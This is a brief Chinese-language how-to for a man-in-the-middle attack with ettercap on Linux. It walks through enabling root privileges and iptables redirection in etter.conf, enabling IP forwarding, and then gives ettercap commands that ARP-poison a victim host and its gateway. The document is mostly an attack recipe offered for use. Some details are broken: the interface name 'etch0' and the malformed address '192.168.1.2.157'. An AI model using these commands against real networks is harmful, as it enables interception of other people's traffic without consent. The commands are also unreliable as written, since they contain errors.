中间人攻击 ettercap

初次，修改配置

1、vi /etc/ettercap/etter.conf 

   ec_uid，ec_gid改为0，   再找到linux分类下的 if you use iptables 去掉注释

2、vi /etc/NetworkManager/NetworkManager.conf    managed=true

3、重启 service network-manager restart

4、修改 echo 1 >> /proc/sys/net/ipv4/ip_forward   查看修改结果 cat  /proc/sys/net/ipv4/ip_forward

启动 ettercap

ettercap -i etch0(攻击者网卡) -Tq -M arp:remote /192.168.1.2.157（被攻击者IP）/ /192.168.2.1(网关)/

ettercap -i etch0-Tq -M arp:remote /192.168.2.1/ /192.168.1.2.157/